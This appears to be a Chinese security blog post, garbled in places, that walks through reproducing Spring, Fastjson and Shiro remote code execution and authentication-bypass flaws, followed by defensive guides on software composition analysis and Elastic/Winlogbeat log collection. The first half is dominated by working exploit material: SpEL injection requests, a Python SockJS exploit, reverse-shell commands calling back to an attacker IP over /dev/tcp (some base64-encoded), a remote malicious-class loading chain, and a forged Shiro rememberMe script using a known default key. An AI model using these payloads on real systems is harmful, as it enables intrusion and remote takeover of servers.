Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。影响版本Spring WebFlow 2.4.0 - 2.4.4http://192.168.48.133:8080/hotels/1这里有默认的账号密码登陆后点击confirm抓包漏洞触发点在这里payload构造&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>&+/dev/tcp
Spring Data Rest 远程命令执行漏洞复现(CVE-2017-8046)
漏洞原理Spring-data-rest服务器在处理PATCH请求时,攻击者可以构造恶意的PATCH请求并发送给spring-date-rest服务器,通过构造好的JSON数据来执行任意Java代码payload其中数字的构造payload = b'touch /tmp/success'bytecode = ','.join(str(i) for i in list(payload))print(bytecode)
PATCH/customers/1HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: /Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/json-patch+jsonContent-Length: 202
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]
反弹shellbash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjE0NC82NjY1IDA+JjE=}|{base64,-d}|{bash,-i}98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,81,52,76,106,69,48,78,67,
Spring CVE-2018-1270
影响版本Spring Framework 5.0 to 5.0.4Spring Framework 4.3 to 4.3.14EXP利用
#!/usr/bin/env python3import requestsimport randomimport stringimport timeimport threadingimport loggingimport sysimport json
logging.basicConfig(stream=sys.stdout, level=logging.INFO)
def random_str(length):letters = string.ascii_lowercase + string.digitsreturn ''.join(random.choice(letters) for c in range(length))
class SockJS(threading.Thread):def init(self, url, args, **kwargs): super().init(args, *kwargs) self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}' self.daemon = True self.session = requests.session() self.session.headers = { 'Referer': url, 'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.
def run(self): url = f'{self.base}/htmlfile?c=_jp.vulhub' response = self.session.get(url, stream=True) for line in response.iter_lines(): time.sleep(0.5)
def send(self, command, headers, body=''): data = [command.upper(), '\n']
data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
data.append('\n\n') data.append(body) data.append('\x00') data = json.dumps([''.join(data)])
response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data) if response.status_code != 204: logging.info(f"send '{command}' data error.") else: logging.info(f"send '{command}' data success.")
def del(self): self.session.close()
sockjs = SockJS('http://你的靶机IP:8080/gs-guide-websocket')sockjs.start()time.sleep(1)
sockjs.send('connect', {'accept-version': '1.1,1.0','heart-beat': '10000,10000'})sockjs.send('subscribe', {'selector': 'T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/你的kaliIP/kali监听端口;cat <&5 | while read line; do $line 2>&5 >&5; done"})','id': 'sub-0','desti
data = json.dumps({'name': 'vulhub'})sockjs.send('send', {'content-length': len(data),'destination': '/app/hello'}, data)
反弹shell成功
Spring Data Commons RCE漏洞(CVE-2018-1273)
Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令python3 SpringBoot-Scan.py -v "http://192.168.48.133:8080/%22
POST /users?page=&size=5 HTTP/1.1Host: 192.168.48.133:8080Connection: keep-aliveContent-Length: 129Pragma: no-cacheCache-Control: no-cacheOrigin: http://192.168.48.133:8080Upgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch whoami.sh")]=&password=&123repeatedPassword=123
python启动http.serverpython -m http.server 8888bash -i >& /dev/tcp/192.168.48.144/6665 0>&1payloadusernamehttp://192.168.48.144:8888/whoami6.sh%27&&]=&password=&123repeatedPassword=123)这里bash反弹成功了 ./执行未成功
Spring Cloud Gateway远程代码执行漏洞(CVE-2022-22947)
漏洞说明2022年3月1日,VMware官方发布漏洞报告,在使用Spring Colud Gateway的应用程序开启、暴露Gateway https://so.csdn.net/so/search?q=Actuator&spm=1001.2101.3001.7020端点时,会容易造成代码注入攻击,攻击者可以制造恶意请求,在远程主机进行任意远程执行。影响版本
Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway 3.0.x < 3.0.7
旧的、不受支持的版本也会受到影响
python3 SpringBoot-Scan.py -v "http://192.168.48.133:8080/%22
POST /actuator/gateway/routes/hacktest HTTP/1.1Host: 192.168.48.133:8080Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,
{"id": "hacktest","filters": [{"name": "AddResponseHeader","args": {"name": "Result","value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"id"}).getInputStream()))}"}}],"uri": "http://example.com%22}
发送如下数据包触发表达式执行
POST /actuator/gateway/refresh HTTP/1.1Host: 192.168.48.133:8080Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/we
GET /actuator/gateway/routes/hacktest HTTP/1.1Host: 192.168.48.133:8080Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i
发送如上数据包查看结果
Spring Cloud Function SpEL RCE漏洞(CVE-2022-22963)
漏洞说明 2022年3月,Spring Cloud 官方修复了一个 Spring Cloud Function中的 SPEL 表达式注入漏洞,由于 Spring Cloud Function中 RoutingFunction 类的 apply 方法将请求头中的 “spring.cloud.function.routing-expression” 参数作为SpEL表达式进行处理,造成了SpEL表达式注入漏洞,攻击者可利用该漏洞远程执行任意代码。漏洞利用手工复现
POST /functionRouter HTTP/1.1Host: 192.168.68.168:8080Accept-Encoding: gzip, deflateAccept: /Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closespring.cloud.function.routing-expression: T(j
Test
Spring Core RCE漏洞(CVE-2022-22965)
漏洞说明Spring framework 是Spring 里面的一个基础开源框架,其目的是用于简化 Java 企业级应用的开发难度和开发周期,2022年3月31日,VMware Tanzu发布漏洞报告,Spring Framework存在远程代码执行漏洞,在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击。/tomcatwar.jsp?pwd=aabysszg&cmd=whoami手工复现GET /?class.module.classLoader.resources.context.paren
Spring Security 身份认证绕过漏洞 (CVE-2022-22978)
漏洞说明当SpringSecurity中使用RegexRequestMatcher进行权限配置,且规则中使用带点号的正则表达式时,未经授权的远程攻击者可通过构造恶意数据包绕过身份认证,导致配置的权限验证失效/admin/%0dtest/admin/%0atestspring漏洞总结spring框架存在敏感信息泄露漏洞,headdump泄露可能回泄露数据库密码等敏感数据,同时有许多的spel表达式注入漏洞,可以导致远程命令执行,还有身份认证绕过漏洞
Fastjson
什么是fastjson?
fastjson 是一个 有阿里开发的一个开源Java 类库,可以将 Java 对象转换为 JSON 格式(序列化),当然它也可以将 JSON 字符串转换为 Java 对象(https://so.csdn.net/so/search?q=%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96&spm=1001.2101.3001.7020)。Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象
fastjson反序列化漏洞原理
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。fastjson漏洞利用过程编译一个恶意类,启动RMI服务,构造fastjson payload加载远程类,达到命令执行的目的。漏洞复现首先要配置好marshalsec.jar该工具是java反序列化工具,可以快速开启RMI和LDAP服务mvn编译,建议环境JAVA1.8,maven3.6+proxychains4 git clone https://github.com/mbechler/marshalsec.g
import java.lang.Runtime;import java.lang.Process;public class test{ static { try { Runtime rt = Runtime.getRuntime(); String[] commands = { "/bin/sh", "-c", "ping user.`whoami`.ivg4na.dnslog.cn"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { } }}
javac test.javayakit启动dnslog
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.48.144:9999/#test%22 6666整体流程1@type 指向com.sun.rowset.JdbcRowSetImpl类该类其中有个dataSourceName方法支持传入一个rmi的源,只要解析其中的url就会支持远程调用2远程访问我们启动的rmi服务器,rmi服务器请求加载远程服务器的class,这个class就是我们提前编译上传到服务器的恶意class3.rmi将远程加载得到的class返回给靶机服
fastjson不出网打法利用
fastjson不出网的话我们就没有办法利用这个rmi服务进行远程加载恶意类了本地搭建环境TemplatesImpl打法利用条件苛刻服务端使用parseObject时,必须使用如下格式才能触发漏洞JSON.parseObject(input, Object.class, Feature.SupportNonPublicField)服务端使用parse()时,需要JSON.parse(text1,Feature.SupportNonPublicField)
<dependencies><dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version></dependency></dependencies>
Templateslmplcmd.Java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Templateslmplcmd extends AbstractTranslet {
public Templateslmplcmd() throws Exception {
Runtime.getRuntime().exec("calc");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
}import java.io.*;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import java.util.Base64;
public class test01 {
public static void main(String[] args) throws Exception {
FileInputStream inputFromFile = new FileInputStream("E:\\JAVASEC\\test02\\src\\main\\java\\Templateslmplcmd.class");
byte[] bs = new byte[inputFromFile.available()];
inputFromFile.read(bs);
String encodedBytes = Base64.getEncoder().encodeToString(bs);
//<=1.2.24
String payload = "{\r\n"
+ " \"a\": {\r\n"
+ " \"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \r\n"
+ " \"_bytecodes\": [\r\n"
+ " \""+encodedBytes+"\"\r\n"
+ " ], \r\n"
+ " \"_name\": \"aaa\", \r\n"
+ " \"_tfactory\": { }, \r\n"
+ " \"_outputProperties\": { }\r\n"
+ " }\r\n"
+ "}";
//<1.2.48
// payload = "{\r\n"
// + " \"a\": {\r\n"
// + " \"@type\": \"java.lang.Class\", \r\n"
// + " \"val\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"\r\n"
// + " }, \r\n"
// + " \"b\": {\r\n"
// + " \"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \r\n"
// + " \"_bytecodes\": [\r\n"
// + " \""+encodedBytes+"\"\r\n"
// + " ], \r\n"
// + " \"_name\": \"aaa\", \r\n"
// + " \"_tfactory\": { }, \r\n"
// + " \"_outputProperties\": { }\r\n"
// + " }\r\n"
// + "}";
System.out.println(payload);
JSON.parseObject(payload, Feature.SupportNonPublicField);
}
}
BCEL不出网打法C3P0二次反序列化打法等等可参考https://github.com/lemono0/FastJsonParty/blob/main/Fastjson%E5%85%A8%E7%89%88%E6%9C%AC%E6%A3%80%E6%B5%8B%E5%8F%8A%E5%88%A9%E7%94%A8-Poc.md
shiro
shiro漏洞原理介绍shiro的特征的是rememberMe字段rememberMe字段采用的是AES加密+base64编码采用AES加密我们拿到KEY的话就可以解密,服务端会进行base64解码+AES解密进行反序列化,那么拿到KEY便可以进行修改rememberMe的值进行反序列化攻击
shiro-CVE-2016-4437
CVE-2016-4437,影响版本shiro1.24如果未勾选 Remember me,则只能在返回包里看见勾选可看这里是先用工具爆破密钥手工复现,更容易理解漏洞过程key如下kPH+bIxk5D2deZiIxcaaaA==参考网上公开代码如下:::infoimport uuidimport base64from Crypto.Cipher import AES
def encode_rememberme(): f = open('poc.ser','rb') BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(f.read()) base64_ciphe
if name == 'main': payload = encode_rememberme() print("rememberMe={0}".format(payload.decode())):::反弹shell利用bash -i >& /dev/tcp/192.168.48.144/6668 0>&1YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ4LjE0NC82NjY4IDA+JjE=java -jar ysoserial-all.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC
shiro-CVE-2020-1957
漏洞描述使用 Apache Shiro 进行身份验证、权限控制时,可以精心构造恶意的URL,利用Apache Shiro 和 Spring Boot 对URL的处理的差异化,可以绕过Apache Shiro 对 Spring Boot 中的 Servlet的权限控制,越权并实现未授权访问。漏洞影响版本
Apache Shiro < 1.5.1
漏洞复现payload /xxx/..;/admin/ 越权访问后台管理系统
shiro baypasswaf
bypasswaf可参考如下文章http://120.79.21.98:8090/archives/shirobypass
shiro有key无利用链子打法
面试遇见过的问题,除了问shiro反序列化漏洞原理有时候也会问到这个点其实还是有链子的,链子多的话,通过爆破利用链,完成漏洞利用。环境搭建docker pull medicean/vulapps:s_shiro_1docker run -d -p 80:8080 medicean/vulapps:s_shiro_1
甲方安全建设之研发安全-SCA
前言
大多数企业或多或少的会去采购第三方软件,或者研发同学在开发代码时,可能会去使用一些好用的软件包或者依赖包,但是如果这些包中存在恶意代码,又或者在安装包时不小心打错了字母安装了错误的软件包,则可能出现供应链攻击。因此去识别采购或者自研项目中的软件包,来保证其版本足够新、不存在恶意代码是解决供应链的一项重要措施,而SCA(软件成分分析)可以帮助完成这一动作。
OpenSCA-cli
下载地址:https://github.com/XmirrorSecurity/OpenSCA-cli 使用方法:首先使用了Docker的方式,快速扫描本地:docker run -ti --rm -v ${PWD}:/src opensca/opensca-cli笔者选择了一个自身的python项目,没发现风险:
不知道是不是Docker中没漏洞数据库还是Docker中的自带的漏洞数据库太少导致。再次尝试使用Docker连接其SAAS云端的方式进行扫描,发现可能是Docker内应用程序问题,导致TLS验证失败:
Get "https://opensca.xmirror.cn/oss-saas/api-v1/open-sca-client/aes-key?clientId=SxxxZVL&ossToken=xx-xx-xx-xx-xx": tls: failed to verify certificate: x509: certificate signed by unknown autho
反正核心都是使用opensca-cli ,因此直接使用Github下载的二进制文件进行了本地扫描:
-token xe43dxxf55-xx-xx-xx-xxx -proj "" -path ${待检测目标路径}
云端还是能扫出不少东西的:
DependencyTrack
下载地址:https://github.com/DependencyTrack/dependency-track参考官方文档:https://docs.dependencytrack.org/getting-started/deploy-docker/这里使用Docker启动,且先不使用数据库:
curl -LO https://dependencytrack.org/docker-compose.yml
docker-compose up -d
根据docker-compose.yml内容,frontend前端端口是8080,访问8080,使用admin/admin登录:
这里依然以python项目为例,使用python-sbom生成工具生成sbom:https://github.com/CycloneDX/cyclonedx-python
python -m pip install cyclonedx-bom
python3 -m cyclonedx_py -h
python3 -m cyclonedx_py requirements -o out.json
然后到Projects->Create project->Components->Upload BOM上传生成的BOM即可。
发现一个问题,就以python为例,DependencyTrack解析的是requirements等方式来获取的软件清单,相比于OpenSCA-cli少了很多,比如hostScan项目中的requirements.txt文件里面的包就是17个,DependencyTrack识别到的就是17个:
而OpenSCA-cli会发现一些依赖的包:
甲方安全建设之日志采集实操干货
前言
没有永远的安全,如何在被攻击的情况下,快速响应和快速溯源分析攻击动作是个重要的话题。想要分析攻击者做了什么、怎么攻击进来的、还攻击了谁,那么日志是必不可少的一项,因此我们需要尽可能采集多的日志来进行分析攻击者的动作,甚至在攻击者刚落脚的时候就阻断攻击者。
安装Elastic+Kibana
Docker安装
这边根据官方文档:https://www.elastic.co/guide/en/elasticsearch/reference/current/docker.html 使用Docker安装了Elastic和Kibana
# 安装es
docker network create elastic
docker pull docker.elastic.co/elasticsearch/elasticsearch:8.12.1
docker run --name es01 --net elastic -p 9200:9200 -it -m 1GB docker.elastic.co/elasticsearch/elasticsearch:8.12.1
# 记录es的密码和注册kibana所需要的token
# 测试es是否正确运行
export ELASTIC_PASSWORD="es_your_password"
docker cp es01:/usr/share/elasticsearch/config/certs/http_ca.crt .
curl --cacert http_ca.crt -u elastic:$ELASTIC_PASSWORD https://localhost:9200
# 安装kibana
docker pull docker.elastic.co/kibana/kibana:8.12.1
docker run --name kib01 --net elastic -p 5601:5601 docker.elastic.co/kibana/kibana:8.12.1
会给出kibana的注册地址,访问填入上述记录的token即可。
不知道是机器性能问题还是Docker安装的问题,es容器经常会挂掉。
RPM安装
根据https://www.elastic.co/guide/en/elasticsearch/reference/current/rpm.html、https://www.elastic.co/guide/en/kibana/current/rpm.html官方文档,可以yum install安装。因为公司访问镜像源被封,因此使用上述文档中下载rpm安装:
# 安装es
wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-8.12.1-x86_64.rpm
wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-8.12.1-x86_64.rpm.sha512
shasum -a 512 -c elasticsearch-8.12.1-x86_64.rpm.sha512
sudo rpm --install elasticsearch-8.12.1-x86_64.rpm
安装kibana
wget https://artifacts.elastic.co/downloads/kibana/kibana-8.12.1-x86_64.rpm
wget https://artifacts.elastic.co/downloads/kibana/kibana-8.12.1-x86_64.rpm.sha512
shasum -a 512 -c kibana-8.12.1-x86_64.rpm.sha512
sudo rpm --install kibana-8.12.1-x86_64.rpm
依然在安装es的rpm时,会吐出es/kibana的密码:
The generated password for the elastic built-in superuser is : Fq*S7jxCjFfPu6nN8NG8
es服务可能启动不了,但是安装时会给出启动命令:
sudo systemctl daemon-reload
sudo systemctl enable elasticsearch.service
测试es启动是否正常:
export ELASTIC_PASSWORD="Fq*S7jxCjFfPu6nN8NG8"
curl --cacert /etc/elasticsearch/certs/http_ca.crt -u elastic:$ELASTIC_PASSWORD https://localhost:9200
记得改下配置文件,使其监听在0.0.0.0上面:
# /etc/elasticsearch/elasticsearch.yml
# Allow HTTP API connections from anywhere
# Connections are encrypted and require user authentication
http.host: 0.0.0.0
# Allow other nodes to join the cluster from anywhere
# Connections are encrypted and mutually authenticated
transport.host: 0.0.0.0
kibana一样,记得改下配置文件,使其监听在0.0.0.0上面:
# /etc/kibana/kibana.yml
server.host: "0.0.0.0"
安装Fleet和Elastic Agent
在Kibana上,Management->Fleet->Add Fleet Server,先安装Fleet Server,URL填写https协议,端口可以填默认的8220。装好Fleet Server后再装Elastic Agent,Fleet Server也是一个Agent,因此不能在同一台机器上同时装Fleet Server和Elastic Agent。
为了使其Elastic Agent附带Security能力,可以添加各式各样的integrations集成,如到Security->Manage->Get started->Add security integrations安装安全集成:
测试告警
注意,如果有如下错误需解决,否则会无法查阅规则:
有些规则没开,记得开下,比如我把reverse shell规则打开后:Security->Dashboards->Detection & Response可以看到一些概览:
记录Windows事件管理器日志
安装
Windows事件管理器日志不是单纯的文本,因此需要借助一些工具来帮助我们完成采集的目的。这里使用winlogbeat(https://www.elastic.co/cn/beats/winlogbeat)完成。官方提供了很详细的安装文档(https://www.elastic.co/guide/en/beats/winlogbeat/current/winlogbeat-installation-configuration.html),核心就是配置想要记录的日志类型和对外传输的方案,这里我使用的方案为:
记录的日志类型,我没改,默认就是Security、Application,甚至还有Sysmon
对外传输,我使用了传输到elastic
配置好winlogbeat.yml后可以进行测试配置文件对不对:
.\winlogbeat.exe test config -c .\winlogbeat.yml -e
下面为我的配置文件信息:
###################### Winlogbeat Configuration Example ########################
# This file is an example configuration file highlighting only the most common
# options. The winlogbeat.reference.yml file from the same directory contains
# all the supported options with more comments. You can use it as a reference.
#
# You can find the full configuration reference here:
# https://www.elastic.co/guide/en/beats/winlogbeat/index.html
# ======================== Winlogbeat specific options =========================
# event_logs specifies a list of event logs to monitor as well as any
# accompanying options. The YAML data type of event_logs is a list of
# dictionaries.
#
# The supported keys are name, id, xml_query, tags, fields, fields_under_root,
# forwarded, ignore_older, level, event_id, provider, and include_xml.
# The xml_query key requires an id and must not be used with the name,
# ignore_older, level, event_id, or provider keys. Please visit the
# documentation for the complete details of each option.
# https://go.es.io/WinlogbeatConfig
winlogbeat.event_logs:
- name: Application
ignore_older: 72h
- name: System
- name: Security
- name: Microsoft-Windows-Sysmon/Operational
- name: Windows PowerShell
event_id: 400, 403, 600, 800
- name: Microsoft-Windows-PowerShell/Operational
event_id: 4103, 4104, 4105, 4106
- name: ForwardedEvents
tags: [forwarded]
# ====================== Elasticsearch template settings =======================
setup.template.settings:
index.number_of_shards: 1
#index.codec: best_compression
#_source.enabled: false
# ================================== General ===================================
# The name of the shipper that publishes the network data. It can be used to group
# all the transactions sent by a single shipper in the web interface.
#name:
# The tags of the shipper are included in their field with each
# transaction published.
#tags: ["service-X", "web-tier"]
# Optional fields that you can specify to add additional information to the
# output.
#fields:
# env: staging
# ================================= Dashboards =================================
# These settings control loading the sample dashboards to the Kibana index. Loading
# the dashboards is disabled by default and can be enabled either by setting the
# options here or by using the `setup` command.
#setup.dashboards.enabled: false
# The URL from where to download the dashboard archive. By default, this URL
# has a value that is computed based on the Beat name and version. For released
# versions, this URL points to the dashboard archive on the artifacts.elastic.co
# website.
#setup.dashboards.url:
# =================================== Kibana ===================================
# Starting with Beats version 6.0.0, the dashboards are loaded via the Kibana API.
# This requires a Kibana endpoint configuration.
setup.kibana:
# Kibana Host
# Scheme and port can be left out and will be set to the default (http and 5601)
# In case you specify and additional path, the scheme is required: http://localhost:5601/path
# IPv6 addresses should always be defined as: https://[2001:db8::1]:5601
#host: "localhost:5601"
# Kibana Space ID
# ID of the Kibana Space into which the dashboards should be loaded. By default,
# the Default Space will be used.
#space.id:
# =============================== Elastic Cloud ================================
# These settings simplify using Winlogbeat with the Elastic Cloud (https://cloud.elastic.co/).
# The cloud.id setting overwrites the `output.elasticsearch.hosts` and
# `setup.kibana.host` options.
# You can find the `cloud.id` in the Elastic Cloud web UI.
#cloud.id:
# The cloud.auth setting overwrites the `output.elasticsearch.username` and
# `output.elasticsearch.password` settings. The format is `<user>:<pass>`.
#cloud.auth:
# ================================== Outputs ===================================
# Configure what output to use when sending the data collected by the beat.
# ---------------------------- Elasticsearch Output ----------------------------
output.elasticsearch:
# Array of hosts to connect to.
hosts: ["your_ip:9200"]
# Protocol - either `http` (default) or `https`.
#protocol: "https"
# Authentication credentials - either API key or username/password.
#api_key: "id:api_key"
username: "elastic"
password: "passwords"
# Pipeline to route events to security, sysmon, or powershell pipelines.
pipeline: "winlogbeat-%{[agent.version]}-routing"
# ------------------------------ Logstash Output -------------------------------
#output.logstash:
# The Logstash hosts
#hosts: ["localhost:5044"]
# Optional SSL. By default is off.
# List of root certificates for HTTPS server verifications
#ssl.certificate_authorities: ["/etc/pki/root/ca.pem"]
# Certificate for SSL client authentication
#ssl.certificate: "/etc/pki/client/cert.pem"
# Client Certificate Key
#ssl.key: "/etc/pki/client/cert.key"
# ================================= Processors =================================
processors:
- add_host_metadata:
when.not.contains.tags: forwarded
- add_cloud_metadata: ~
# ================================== Logging ===================================
# Sets log level. The default log level is info.
# Available log levels are: error, warning, info, debug
#logging.level: debug
# At debug level, you can selectively enable logging only for some components.
# To enable all selectors, use ["*"]. Examples of other selectors are "beat",
# "publisher", "service".
#logging.selectors: ["*"]
# ============================= X-Pack Monitoring ==============================
# Winlogbeat can export internal metrics to a central Elasticsearch monitoring
# cluster. This requires xpack monitoring to be enabled in Elasticsearch. The
# reporting is disabled by default.
# Set to true to enable the monitoring reporter.
#monitoring.enabled: false
# Sets the UUID of the Elasticsearch cluster under which monitoring data for this
# Winlogbeat instance will appear in the Stack Monitoring UI. If output.elasticsearch
# is enabled, the UUID is derived from the Elasticsearch cluster referenced by output.elasticsearch.
#monitoring.cluster_uuid:
# Uncomment to send the metrics to Elasticsearch. Most settings from the
# Elasticsearch outputs are accepted here as well.
# Note that the settings should point to your Elasticsearch *monitoring* cluster.
# Any setting that is not set is automatically inherited from the Elasticsearch
# output configuration, so if you have the Elasticsearch output configured such
# that it is pointing to your Elasticsearch monitoring cluster, you can simply
# uncomment the following line.
#monitoring.elasticsearch:
# ============================== Instrumentation ===============================
# Instrumentation support for the winlogbeat.
#instrumentation:
# Set to true to enable instrumentation of winlogbeat.
#enabled: false
# Environment in which winlogbeat is running on (eg: staging, production, etc.)
#environment: ""
# APM Server hosts to report instrumentation results to.
#hosts:
# - http://localhost:8200
# API Key for the APM Server(s).
# If api_key is set then secret_token will be ignored.
#api_key:
# Secret token for the APM Server(s).
#secret_token:
# ================================= Migration ==================================
# This allows to enable 6.7 migration aliases
#migration.6_to_7.enabled: true
数据检索
这时候,可能elastic上面搜不到数据,是因为winlogbeat使用了他自己的索引,默认为winlogbeat-version,笔者测试时,发现kibana上迟迟出现不了该索引,还以为数据传输没成功呢,因此通过如下手段进行排查,先获取es上面的索引信息:
http://your_ip:9200/_cat/indices?v
发现有类似winlogbeat的索引信息:
yellow open .ds-winlogbeat-8.12.0-2024.02.03-000001 UpWhWCpdR-2WgMVe_kiH9A 1 1 192705 0 131.1mb 131.1mb
后面尝试在kibana上创建一个新的索引即可,v7.17.12版本的kibana创建索引的过程如下:discover->选项->View Discover settings
找到“索引模式”创建一个新的索引即可:
这时候就可以检索事件管理器日志了:
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

